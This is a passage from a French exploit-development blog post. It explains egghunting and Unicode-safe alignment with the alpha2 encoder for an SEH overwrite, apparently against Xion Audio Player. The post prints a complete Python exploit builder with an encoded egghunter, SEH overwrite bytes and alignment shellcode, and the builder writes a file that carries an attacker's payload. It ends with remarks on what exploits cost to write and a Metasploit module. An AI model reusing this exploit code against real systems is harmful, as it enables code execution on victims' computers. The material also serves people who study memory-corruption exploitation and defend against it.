# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

Vous mettez le sploit unicode (encodé avec alpha2) et tout devrait rouler ;).
N'oubliez pas de modifier le deuxième byte de la payload alpha2 avec 'a' (ecx) car sinon vous aurez un bon plantage (ebp pointe pas vers une bonne addresse).
Au final, on finit avec un beau sploit ;).

Egghunting?

Avoir la possibilitée d'encoder nos payloads avec l'encodeur alpha2 est somme tout assez pratique mais on se rend compte que niveau taille c'est pas trop ça ...
Comme vous le savez sûrement, il y a plusieurs techniques pour contourner les problèmes de tailles telles que le staging ou encore le egghunting.

Le egghunting consiste à chercher notre payload principale plus grosse en mémoire à l'aide d'une première payload de recherche.
Le paper de skape explique clairement le principe qui se résume aux étapes suivante :
1 - recherche d'une adresse mémoire valide (et lisible), si fail, on boucle sur 1
En effet, si nous essayons de lire une addresse mémoire non valide, nous aurons un plantage de la payload et donc un arrêt de notre exécution de code.
2 - vérification si le tag correspond (on boucle sur 1 si fail)
Le tag doit être unique, pour celà skape utilise un tag de 8 octets.
3 - exécution de la payload
Une fois le tag trouvé, on a un beau jmp vers celui-ci :).

Parfois on peut rencontrer des problèmes avec les egghunters telle que de multiples copies de la payload principale en mémoire (et certaines corrompues). La solution est de changer l'adresse de départ du egghunter ;).

corelanc0d3r a écrit un article entier sur le sujet sous forme de tutoriel : Exploit writing : Egghunting on Windows .

Et voilà now on a toutes les briques pour notre sploit' ^^.

Sploit it!

Voilà mon deuxième exploit unicode ^^ :
#!/usr/bin/python3

import sys
import subprocess

if len(sys.argv) < 3:
    print("Usage: %s payload output")
    exit(1)

filename = sys.argv[1]
fp = open(filename, 'rb')
payload = fp.read()
fp.close()

trigger1 = 'A' * 252
# skape NtDisplayString egghunter : alpha2 --unicode esp < egghunter.bin
hunter = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBove1GZyolOa2Nr1Za3NxhMlnMlYuNzptjOwHr0mqr70NriVwfOqeJJvOBUYWKOk7A'
# egghunter tag
tag = 'PAWN' * 2

# 5b            pop ebx
# 00 43 00      add byte [ebx], al
nseh = '\x5b\x43'
# 51            push ecx
# 00 43 00      add byte [ebx], al
seh = '\x51\x43'    # add esp, 8 | ret

# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

# make str long enough to trigger
trigger2 = 'B' * 3000

output = sys.argv[2]
fp = open(output, 'wb')
egg = trigger1 + nseh + seh + align + hunter + trigger2 + tag
fp.write(egg.encode())
fp.write(payload)
fp.close()

Sploit dev is expensive!

Sinon, je lis souvent qu'un sploit ça peut coûter cher à développer, voilà le temps que ça m'a mis : 2h20 pour le sploit original + 25 minutes pour le module msf et 45 minutes pour écrire l'article, soit 3h30.
Si on compte un forfait mensuel de 300€ pour de la main d'oeuvre pas cher (Chine par exemple) travaillant 20 jours mensuellement avec 10h par jour, ça nous fait 5.25€ :).
Bon j'exagère, je compte pas le temps pour trouver la vulnérabilitiée et pas tous le monde sait coder un exploit (y'a quand même beaucoup de gens :)).
Un bon sploit déveur est apparemment rémunéré dans les 250k/an, ce qui nous donnerais 364.6€ de développement.
On parle ici que d'une seule vuln' et d'un seul développeur, avec le fuzzing et si vous rajouter le développement d'un framework derrière ... ça monte assez vite.

Let's conclude!


J'ai écrit un module msf aussi, dès qu'il sera publié, j'updaterais le post avec le lien du sploit ;).
Après considération, on se rend compte qu'en utilisant l'encodeur alpha2, le plus important est de pouvoir aligner notre code ensuite le décodeur fait tous le boulot ;).

Have fun,

m_101

Liens :
- Foxit reader exploitation (Sud0)
- Foxit reader exploitation (m_101)
- Peter Van Eeckoutte's Exploit writing : Unicode exploitation
Xion Audio Player 1.0.126 MSF Exploit module